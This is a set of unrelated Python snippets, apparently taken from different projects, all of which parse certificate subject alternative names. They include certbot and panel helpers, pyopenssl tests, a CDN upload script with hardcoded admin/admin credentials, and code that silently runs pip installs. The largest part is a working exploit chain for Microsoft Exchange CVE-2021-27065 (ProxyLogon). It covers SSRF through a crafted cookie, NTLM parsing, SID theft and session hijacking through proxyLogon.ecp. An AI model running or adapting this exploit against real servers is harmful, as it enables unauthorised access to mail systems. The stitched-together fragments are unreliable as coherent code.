def new_domains(self): current_domains = domain_list_sorted(self.snap.list(), self.info.domain()) cert_domains = [] if path.isfile(self.certbot_certificate_file()): cert = crypto.load_certificate(crypto.FILETYPE_PEM, file(self.certbot_certificate_file()).read()) cert_domains = get_subj_alt_name(cert) return get_new_domains(current_domains, cert_domains)
def GetCertName(self, get): try: from OpenSSL import crypto from urllib3.contrib import pyopenssl as reqs except: os.system('pip install crypto') os.system('pip install pyopenssl') from OpenSSL import crypto from urllib3.contrib import pyopenssl as reqs certPath = get.certPath if os.path.exists(certPath): data = {} f = open(certPath, 'rb') pfx_buffer = f.read() cret_data = pfx_buffer if certPath[-4:] == '.pfx': if hasattr(get, 'password'): p12 = crypto.load_pkcs12(pfx_buffer, get.password) else: p12 = crypto.load_pkcs12(pfx_buffer) x509 = p12.get_certificate() data['type'] = 'pfx' else: x509 = crypto.load_certificate(crypto.FILETYPE_PEM, pfx_buffer) data['type'] = 'pem' buffs = x509.digest('sha1') data['hash'] = bytes.decode(buffs).replace(':', '') data['number'] = x509.get_serial_number() issuser = x509.get_issuer() is_key = 'O' if len(issuser.get_components()) == 1: is_key = 'CN' for item in issuser.get_components(): if bytes.decode(item[0]) == is_key: data['issuer'] = bytes.decode(item[1]) break data['notAfter'] = self.strfToTime( bytes.decode(x509.get_notAfter())[:-1]) data['notBefore'] = self.strfToTime( bytes.decode(x509.get_notBefore())[:-1]) data['version'] = x509.get_version() data['timeout'] = x509.has_expired() x509name = x509.get_subject() data['subject'] = x509name.commonName.replace('*', '_') data['dns'] = [] alts = reqs.get_subj_alt_name(x509) for x in alts: data['dns'].append(x[1]) return data
def test_get_subj_alt_name(self, mock_warning): """ If a certificate has two subject alternative names, cryptography raises an x509.DuplicateExtension exception. """ path = os.path.join(os.path.dirname(__file__), "duplicate_san.pem") with open(path, "r") as fp: cert = load_certificate(FILETYPE_PEM, fp.read()) assert get_subj_alt_name(cert) == [] assert mock_warning.call_count == 1 assert isinstance(mock_warning.call_args[0][1], x509.DuplicateExtension)
def tlslite_getpeercert(conn): if not hasattr(conn, '_peercert'): x509_bytes = conn.session.serverCertChain.x509List[0].bytes x509 = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_ASN1, bytes(x509_bytes)) # let urllib do the heavy lifting cert = { "subject": ((("commonName", x509.get_subject().CN), ), ), "subjectAltName": get_subj_alt_name(x509), } conn._peercert = cert return conn._peercert
def test_get_subj_alt_name(self, mock_warning): """ If a certificate has two subject alternative names, cryptography raises an x509.DuplicateExtension exception. """ path = os.path.join(os.path.dirname(__file__), 'duplicate_san.pem') with open(path, 'r') as fp: cert = load_certificate(FILETYPE_PEM, fp.read()) self.assertEqual(get_subj_alt_name(cert), []) self.assertEqual(mock_warning.call_count, 1) self.assertTrue( isinstance(mock_warning.call_args[0][1], x509.DuplicateExtension))
def test_get_subj_alt_name(self, mock_warning): """ If a certificate has two subject alternative names, cryptography raises an x509.DuplicateExtension exception. """ path = os.path.join(os.path.dirname(__file__), 'duplicate_san.pem') with open(path, 'r') as fp: cert = load_certificate(FILETYPE_PEM, fp.read()) self.assertEqual(get_subj_alt_name(cert), []) self.assertEqual(mock_warning.call_count, 1) self.assertTrue(isinstance(mock_warning.call_args[0][1], x509.DuplicateExtension))
def ssl_infos(cert_text, **kw): ''' Get some infos out of a PEM certificates kw can contain default values issuer cert issuer subject cert subject ''' data = { 'cn': None, 'altnames': [], 'subject_r': '', 'subject': None, 'issuer': None, 'issuer_r': '' } data.update(kw) cert = load_cert(cert_text) if cert: try: data['subject'] = cert.get_subject() data['subject_r'] = "{0}".format(cert.get_subject()) data['cn'] = data['subject'].CN except Exception: pass try: dnss = get_subj_alt_name(cert) for i in dnss: data['altnames'].extend(dnss) except Exception: pass try: data['issuer'] = cert.get_issuer() data['issuer_r'] = "{0}".format(cert.get_issuer()) except Exception: pass data['altnames'] = __salt__['mc_utils.uniquify'](data['altnames']) return data
def load_certificate(method, obj): if method == 0: cert = reqs.ssl.get_server_certificate((obj, 443)) elif method == 1: cert = obj else: return {} try: x509 = reqs.OpenSSL.crypto.load_certificate( reqs.OpenSSL.crypto.FILETYPE_PEM, cert) notbefore = datetime.strptime(x509.get_notBefore().decode()[0:-1], '%Y%m%d%H%M%S') notafter = datetime.strptime(x509.get_notAfter().decode()[0:-1], '%Y%m%d%H%M%S') remain_days = notafter - datetime.now() organization_name = x509.get_subject().organizationName serial_number = x509.get_subject().serialNumber if serial_number: cert_type = 'EV' elif not organization_name: cert_type = 'DV' else: cert_type = 'OV' ret_json = { 'domain': x509.get_subject().CN, 'orther_domain': reqs.get_subj_alt_name(x509), 'organization_name': organization_name, 'serial_number': serial_number, 'issued_by': x509.get_issuer().CN, 'cert_type': cert_type, 'notbefore': notbefore.strftime('%Y-%m-%d %H:%M:%S'), 'notafter': notafter.strftime('%Y-%m-%d %H:%M:%S'), 'remain_days': remain_days.days, } except Exception as e: raise Exception(e) return ret_json
def parse_ssl_cert(cert_content): """ 解析上传的证书 """ try: x509 = reqs.OpenSSL.crypto.load_certificate(reqs.OpenSSL.crypto.FILETYPE_PEM, cert_content) start_date = datetime.strptime(x509.get_notBefore().decode()[0:-1], '%Y%m%d%H%M%S') expire_date = datetime.strptime(x509.get_notAfter().decode()[0:-1], '%Y%m%d%H%M%S') domain_list = reqs.get_subj_alt_name(x509) domain = None extensive_domain = False domain_list = [i[1] for i in domain_list] for d in domain_list: if "*" in d: extensive_domain = True domain = ''.join(d.split('*.')) else: domain = d return domain, extensive_domain, start_date, expire_date except OpenSSL.crypto.Error: return None, False, False, False
def crt_for_domain(crt, key): #add host fname = '/fikker_crt_add/crt/' + crt with open(fname) as f: cert_pem = f.read() f.close() fname = '/fikker_crt_add/crt/' + key with open(fname) as f: cert_key = f.read() f.close() x509 = reqs.OpenSSL.crypto.load_certificate( reqs.OpenSSL.crypto.FILETYPE_PEM, cert_pem) domain_list = reqs.get_subj_alt_name(x509) for i in range(len(domain_list)): #所有證書的域名 hurl = domain_list[i] # #所有證書的域名 # print(hurl) # #所有證書名稱 # print(crt) # #所有名稱 # print(cert_pem) # print(cert_key) url = 'http://fikker_ip/fikker/webcache.fik?' # 取得SessionID my_data = 'type=sign&cmd=in&Username=admin&Password=admin' all_url = url + my_data json_data = "" #r = requests.get(all_url) json_data = json.loads(url_get(all_url)) # 看json原始格式內容 #pprint(json_data) SID = json_data['SessionID'] #print(SID) #会话保持激活(Keep-Alive)30分鐘 # keep session my_data = 'type=sign&cmd=alive&SessionID=' + SID all_url = url + my_data json_data = json.loads(url_get(all_url)) #0支持:HTTP, 2支持HTTP + HTTPS opt = '2' url = 'http://fikker_ip/fikker/webcache.fik?type=proxy&cmd=add&' #新增證書 crt_data = { 'Host': hurl, 'SSLOpt': opt, 'Balance': 1, 'SSLCrtContent': cert_pem, 'SSLKeyContent': cert_key, 'SessionID': SID } #print(my_data) #執行post值 crt = requests.post(url, data=crt_data) #傳值回來,判定是否成功 crt_json_data = json.loads(crt.text) crt_retron = crt_json_data['Return'] if 'True' == crt_retron: #新增證書成功 print('新增證書成功:' + hurl) rv = crt_json_data['ProxyID'] #新增源站 url = 'http://fikker_ip/fikker/webcache.fik?type=upstream&cmd=add&' source_data = { 'ProxyID': rv, 'Host': src, 'SSLOpt': opt, 'SessionID': SID } source = requests.post(url, data=source_data) source_json_data = json.loads(source.text) source_retron = source_json_data['Return'] if 'True' == source_retron: #新增源站成功 print('新增源站成功:' + src) print('------------------------------') else: #新增源站失敗 print('新增源站失敗') else: #新增證書失敗 print('新增證書失敗')
def cve_2021_27065_poc(self): self.threadLock.acquire() self.vul_info["prt_name"] = "Microsoft Exchange: CVE-2021-27065" self.vul_info["prt_resu"] = "null" self.vul_info["prt_info"] = "null" self.vul_info["vul_urls"] = self.url self.vul_info["vul_payd"] = "null" self.vul_info[ "vul_name"] = "Microsoft Exchange Server Arbitrary File Write" self.vul_info["vul_numb"] = "CVE-2021-27065" self.vul_info["vul_apps"] = "Exchange" self.vul_info["vul_date"] = "2021-03-03" self.vul_info["vul_vers"] = "Exchange Server 2010 2013 2016 2019" self.vul_info["vul_risk"] = "high" self.vul_info["vul_type"] = "Arbitrary File Write" self.vul_info["vul_data"] = "null" self.vul_info["vul_desc"] = "Exchange 中身份验证后的任意文件写入漏洞。攻击者可以通过 Exchange 服务器进行身份验证," \ "同时可以利用漏洞将文件写入服务器上的任何路径。也可以通过利用 CVE-2021-26855 SSRF " \ "漏洞组合进行getshell。" self.vul_info["cre_date"] = "2021-03-12" self.vul_info["cre_auth"] = "zhzyker" def __unpack_str(byte_string): return byte_string.decode('UTF-8').replace('\x00', '') def __unpack_int(format, data): return unpack(format, data)[0] def __exploit(url, name, path, qs='', data='', cookies=[], headers={}): cookies = list(cookies) cookies.extend([ 'X-BEResource=a]@%s:444%s?%s#~1941962753' % (name, path, qs), ]) if not headers: headers = {'Content-Type': 'application/json'} headers['Cookie'] = ';'.join(cookies) headers['msExchLogonMailbox'] = 'S-1-5-20' try: r = requests.post(url + "/ecp/y.js", headers=headers, data=data, verify=False, allow_redirects=False) return r except: return False def _get_sid(url, name, mail): payload = ''' <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover> ''' % mail headers = { 'User-Agent': 'ExchangeServicesClient/0.0.0.0', 'Content-Type': 'text/xml' } r = __exploit(url, name, '/autodiscover/autodiscover.xml', qs='', data=payload, headers=headers) res = re.search('<LegacyDN>(.*?)</LegacyDN>', r.text) if res: headers = { 'X-Clientapplication': 'Outlook/15.0.4815.1002', 'X-Requestid': 'x', 'X-Requesttype': 'Connect', 'Content-Type': 'application/mapi-http', } legacyDN = res.group(1) payload = legacyDN + '\x00\x00\x00\x00\x00\x20\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00' r = __exploit(url, name, '/mapi/emsmdb/', qs='', data=payload, headers=headers) res = re.search('with SID ([S\-0-9]+) ', r.text) if res: return res.group(1) else: return False else: return False def _parse_challenge(auth): target_info_field = auth[40:48] target_info_len = __unpack_int('H', target_info_field[0:2]) target_info_offset = __unpack_int('I', target_info_field[4:8]) target_info_bytes = auth[target_info_offset:target_info_offset + target_info_len] domain_name = '' computer_name = '' info_offset = 0 while info_offset < len(target_info_bytes): av_id = __unpack_int( 'H', target_info_bytes[info_offset:info_offset + 2]) av_len = __unpack_int( 'H', target_info_bytes[info_offset + 2:info_offset + 4]) av_value = target_info_bytes[info_offset + 4:info_offset + 4 + av_len] info_offset = info_offset + 4 + av_len if av_id == 2: # MsvAvDnsDomainName domain_name = __unpack_str(av_value) elif av_id == 3: # MsvAvDnsComputerName computer_name = __unpack_str(av_value) #if r"-" in domain_name and r"-" in computer_name: return domain_name, computer_name #else: # return False def _get_email(url): try: url = get_fld(url) return url except: return "unkonw" try: self.getipport = urlparse(self.url) self.hostname = self.getipport.hostname self.port = self.getipport.port if self.port == None and r"https://" in self.url: self.port = 443 elif self.port == None and r"http://" in self.url: self.port = 80 if bool(re.search(r'\d', self.url)): try: from urllib3.contrib import pyopenssl as reqs x509 = reqs.OpenSSL.crypto.load_certificate( reqs.OpenSSL.crypto.FILETYPE_PEM, reqs.ssl.get_server_certificate( (self.hostname, self.port))) keys = reqs.get_subj_alt_name(x509)[0] for k in keys: MAIL = "administrator@" + _get_email("https://" + k) except: MAIL = "administrator@" + _get_email(self.url) else: MAIL = "administrator@" + _get_email(self.url) # Getting ComputerName and DomainName url = self.url + "/rpc/" ntlm_type1 = "TlRMTVNTUAABAAAAl4II4gAAAAAAAAAAAAAAAAAAAAAKALpHAAAADw==" headers = {'Authorization': 'Negotiate %s' % ntlm_type1} r = requests.get(url, headers=headers, timeout=self.timeout, verify=False) # assert r.status_code == 401, "Error while getting ComputerName" auth_header = r.headers['WWW-Authenticate'] auth = re.search('Negotiate ([A-Za-z0-9/+=]+)', auth_header).group(1) domain_name, computer_name = _parse_challenge(b64decode(auth)) # print('[*] Domain Name =', domain_name) # print('[*] Computer Name =', computer_name) NAME = computer_name # get SID sid = _get_sid(self.url, NAME, MAIL) # print(sid) payload = '<r at="NTLM" ln="%s"><s t="0">%s</s></r>' % ( MAIL.split('@')[0], sid) r = __exploit(self.url, NAME, '/ecp/proxyLogon.ecp', qs='', data=payload) session_id = r.cookies.get('ASP.NET_SessionId') canary = r.cookies.get('msExchEcpCanary') # print('[*] get ASP.NET_SessionId =', session_id) # print('[*] get msExchEcpCanary =', canary) try: extra_cookies = [ 'ASP.NET_SessionId=' + session_id, 'msExchEcpCanary=' + canary ] except: extra_cookies = [ 'ASP.NET_SessionId=' + str(session_id), 'msExchEcpCanary=' + str(canary) ] # Getting OAB information qs = urlencode({ 'schema': 'OABVirtualDirectory', 'msExchEcpCanary': canary }) r = __exploit(self.url, NAME, '/ecp/DDI/DDIService.svc/GetObject', qs=qs, data='', cookies=extra_cookies) try: identity = r.json()['d']['Output'][0]['Identity'] # print('[*] OAB Name', identity['DisplayName']) # print('[*] OAB ID ', identity['RawIdentity']) except: identity = False if NAME and sid and session_id and canary and identity: self.vul_info["vul_data"] = dump.dump_all(r).decode( 'utf-8', 'ignore') self.vul_info["prt_resu"] = "PoCSuCCeSS" self.vul_info["vul_payd"] = ntlm_type1 self.vul_info[ "prt_info"] = "[file write] [email:" + MAIL + "] [sid:" + sid + "] [oab-id:" + identity[ 'RawIdentity'] + "]" verify.scan_print(self.vul_info) except requests.exceptions.Timeout: verify.timeout_print(self.vul_info["prt_name"]) except requests.exceptions.ConnectionError: verify.connection_print(self.vul_info["prt_name"]) except Exception as error: verify.error_print(self.vul_info["prt_name"]) self.threadLock.release()